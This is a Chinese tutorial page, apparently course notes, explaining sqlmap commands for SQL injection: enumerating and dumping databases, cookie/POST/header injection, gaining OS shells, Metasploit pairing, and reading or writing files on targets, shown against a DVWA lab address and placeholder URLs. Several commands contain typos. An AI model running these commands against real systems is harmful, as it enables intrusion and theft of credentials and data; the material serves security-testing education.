热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

SQLmap自动化注入工具命令详解(第28-29天实战演练)

SQL注入工具如SQLMap等在网络安全测试中广泛应用。SQLMap是一款开源的自动化SQL注入工具,支持12种不同的数据库,具体支持的数据库类型可在其插件目录中查看。作为当前最强大的注入工具之一,SQLMap在实际应用中具有极高的效率和准确性。

SQL注入工具:明小子  啊D   萝卜头   sqlmap  等等

SQLMAP:开源的自动化诸如利用工具,支持的数据库有12中,在/plugins中可以看到支持的数据库种类,在所有注入利用工具中他是最好用的!!

支持的注入类型:布尔  时间  报错  联合  堆查询   内联

可以获取用户名   密码  权限   角色     数据库(表   字段  内容)

可以爆破识别密文数据

getshell

命令执行

脱库/删库

 

内置文档介绍:

doc   介绍文档

extra     sqlmap额外的功能,运行cmd执行命令

lib   sqlmap的核心功能代码

plugins   包含12种数据库识别程序

data   存放一些攻击过程中使用的工具或者命令

procs  包含了mysql  mssql  oracle  postgersql  这四种数据库的触发程序

shell  远程命令和后门

txt  表名字典  列名字典   ua字典

udf  存放攻击载荷 payload

xml  存放检测的脚本

tamper   包含各种绕WAF的处理脚本

thirdparty  包含了第三方插件   颜色  优化  等等

 

SQLMAP工作流程:

1)初始化

2)开始检测

1>  检测之前是否注入过(会把检测的URL默认存放在用户家目录.sqlmapoutput,可以指定存放目录    --output-dir 参数可以指定存放目录)

2>  解析URL,判断该URL是否可访问

3>  检测是否有WAF

sqlmup -u "目录URL" --identify-waf

sqlmap -u "目录URL" --check-waf

3)执行用户输入的参数

-u   指定URL

-p   指定参数

-v   指定显示的级别

-m   批量测试

-p   指定测试参数

-r   读取文件

--dbs   数据库

--current-db   当前数据库

--tables   表名

--columns   列名

--dump  获取数据

--batch   跳过问询(yes)直接执行

--DBMS   指定数据库类型

--current-user   当前数据库

--users   所有用户

--passwords   数据库密码

--hostname  系统名称

--baner   数据库信息

--roles   数据库用户角色

--level   测试等级

--delay 2   延时两秒注入

 

步骤详解

1)判断注入点:sqlmap -u "目标URL"     当看到探测结果中有环境参数(系统类型、数据库类型)则表名有注入点

2)查看所有数据库:sqlmap -u "目标URL" --dbs --dbms mysql

3)获取当前数据库:sqlmap -u "目标URL" --current-db --dbms mysql

4)获取当前数据库下的表:sqlmap -u "目标URL" -D 库名 --dbms mysql --tables

5)获取当前数据库中指定表下的字段名:sqlmap -u "目标URL" -D 库名 -T 表名 --columns

6)获取指定字段对应的内容:sqlmap -u "目标URL" -D 库名 -T 表名 -C 字段名 --dump(注意:多个字段名需要使用逗号隔开)

7COOKIE型注入

python sqlmap.py u "http://10.3.150.82/dvwa/vulnerabilities/sqli/index.phpid=1&Submit=Submit#" -p id --COOKIE="security=low; PHPSESSID=te2i8hgoig4kt1sjmqufbugt52" 

 

POST型注入的sqlmap利用方法

拦截数据包保存txt文件

python sqlmap.py -r post.txt -p "uname"  -r读取指定的文件,-p告诉sqlmap测试哪个参数)"

 

COOKIE注入

python sqlmap.py -r post_COOKIE.txt --level 2

python sqlmap.py -u "URL" --COOKIE="user=1" --level 2

--level=LEVEL  执行测试的等级(1-5,默认是1

 

XFF注入

python sqlmap.py -u "URL" -p "x-forwarded-for" --level 3

python sqlmap.py -r "post_xff.txt" --level 3

 

UA注入:

python sqlmap.py -r "post_ua.txt" --level 3 --dbms mysql

 

伪静态注入:

python sqlmap.py -u "URL/1*.html"   加个*

 

-v 0-6

0、只显示python错误以及严重的信息

1、同事显示基本信息和警告信息(默认)

2、同事显示debug信息。

3、同事显示注入的payload(建议使用次级别,可)

 

--risk 0-3

0-3共有四个风险等级

 

批量测试:

  python sqlmap.py -m piliang.txt

 

SQLMAP注入点执行系统命令或者交互式shell

(条件1、数据库有写文件权限   2、需要知道WEB站点路径{www}

sqlmap.py -u "target_url" --os-cmd=执行的命令    执行系统命令

sqlmap.py -u "target_url" --os-shell    获取系统的shell

sqlmap.py -u "target_url" --is-dba   判断当前用户是不是dba

sqlmap.py -u "target_url" --delay 2   延时两秒注入

sqlmap.py -u "target_url" --sql-querty=select vision()   执行SQL命令

sqlmap.py -u "target_url" --sql-shell     反弹SQLshell

 

sqlmap直连mysql数据库

sqlmap.py -d "mysql://username:password@192.168.2.101:3306/mysql" -f --banner --dbs --users

 

sqlmap注入利用Access

Access数据库 没有库的概念。打开数据库文件看到的只有表和字段以及内容

python sqlmap.py -u "target_url" --tables

 

sqlmapmsf结合使用

sqlmap -u "URL" -p name --dbms mysql --os-pwn --msf-path /usr/share/metasploit-framework

msf存储路径:/usr/share/metasploit-framework

 

sqlmapBP的结合使用:

1、给BP代开抓包储存

技术分享图片

 

 

 

2、然后抓取目标URL

3、打开sqlmap输入如下命令:sqlmap.py -l "BP储存的数据包文件"  -batch

-l 表示从文件读取http请求,测试完之后的结果如下,并生成一个.csv格式的文件。

 

sqlmap读写文件

--file-read=(读取文件的绝对路径)  从后端的数据库管理系统文件读取文件(物理路径)

sqlmap.py -u "URL" --file-read=(读取文件的绝对路径)

--file-write=WFILE     编辑后端的数据库管理系统文件系统上的本地文件

--file-dest=DFILE    后端的数据库管理系统写入文件的绝对路径

sqlmap.py -u "URL" --file-read=(写入目标机的绝对路径) --file-write=(读取攻击者的文件路径)

 


推荐阅读
  • 技术分享:从动态网站提取站点密钥的解决方案
    本文探讨了如何从动态网站中提取站点密钥,特别是针对验证码(reCAPTCHA)的处理方法。通过结合Selenium和requests库,提供了详细的代码示例和优化建议。 ... [详细]
  • 1:有如下一段程序:packagea.b.c;publicclassTest{privatestaticinti0;publicintgetNext(){return ... [详细]
  • 深入理解Tornado模板系统
    本文详细介绍了Tornado框架中模板系统的使用方法。Tornado自带的轻量级、高效且灵活的模板语言位于tornado.template模块,支持嵌入Python代码片段,帮助开发者快速构建动态网页。 ... [详细]
  • 深入理解Cookie与Session会话管理
    本文详细介绍了如何通过HTTP响应和请求处理浏览器的Cookie信息,以及如何创建、设置和管理Cookie。同时探讨了会话跟踪技术中的Session机制,解释其原理及应用场景。 ... [详细]
  • 本文详细介绍了如何使用Python编写爬虫程序,从豆瓣电影Top250页面抓取电影信息。文章涵盖了从基础的网页请求到处理反爬虫机制,再到多页数据抓取的全过程,并提供了完整的代码示例。 ... [详细]
  • PHP 编程疑难解析与知识点汇总
    本文详细解答了 PHP 编程中的常见问题,并提供了丰富的代码示例和解决方案,帮助开发者更好地理解和应用 PHP 知识。 ... [详细]
  • 深入理解 Oracle 存储函数:计算员工年收入
    本文介绍如何使用 Oracle 存储函数查询特定员工的年收入。我们将详细解释存储函数的创建过程,并提供完整的代码示例。 ... [详细]
  • 本文详细介绍如何使用Python进行配置文件的读写操作,涵盖常见的配置文件格式(如INI、JSON、TOML和YAML),并提供具体的代码示例。 ... [详细]
  • 深入理解 SQL 视图、存储过程与事务
    本文详细介绍了SQL中的视图、存储过程和事务的概念及应用。视图为用户提供了一种灵活的数据查询方式,存储过程则封装了复杂的SQL逻辑,而事务确保了数据库操作的完整性和一致性。 ... [详细]
  • 本文深入探讨 MyBatis 中动态 SQL 的使用方法,包括 if/where、trim 自定义字符串截取规则、choose 分支选择、封装查询和修改条件的 where/set 标签、批量处理的 foreach 标签以及内置参数和 bind 的用法。 ... [详细]
  • 在Linux系统中配置并启动ActiveMQ
    本文详细介绍了如何在Linux环境中安装和配置ActiveMQ,包括端口开放及防火墙设置。通过本文,您可以掌握完整的ActiveMQ部署流程,确保其在网络环境中正常运行。 ... [详细]
  • MySQL中枚举类型的所有可能值获取方法
    本文介绍了一种在MySQL数据库中查询枚举(ENUM)类型字段所有可能取值的方法,帮助开发者更好地理解和利用这一数据类型。 ... [详细]
  • 在使用 DataGridView 时,如果在当前单元格中输入内容但光标未移开,点击保存按钮后,输入的内容可能无法保存。只有当光标离开单元格后,才能成功保存数据。本文将探讨如何通过调用 DataGridView 的内置方法解决此问题。 ... [详细]
  • 数据库内核开发入门 | 搭建研发环境的初步指南
    本课程将带你从零开始,逐步掌握数据库内核开发的基础知识和实践技能,重点介绍如何搭建OceanBase的开发环境。 ... [详细]
  • 本文探讨了适用于Spring Boot应用程序的Web版SQL管理工具,这些工具不仅支持H2数据库,还能够处理MySQL和Oracle等主流数据库的表结构修改。 ... [详细]
author-avatar
处女同乡会同乡情
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有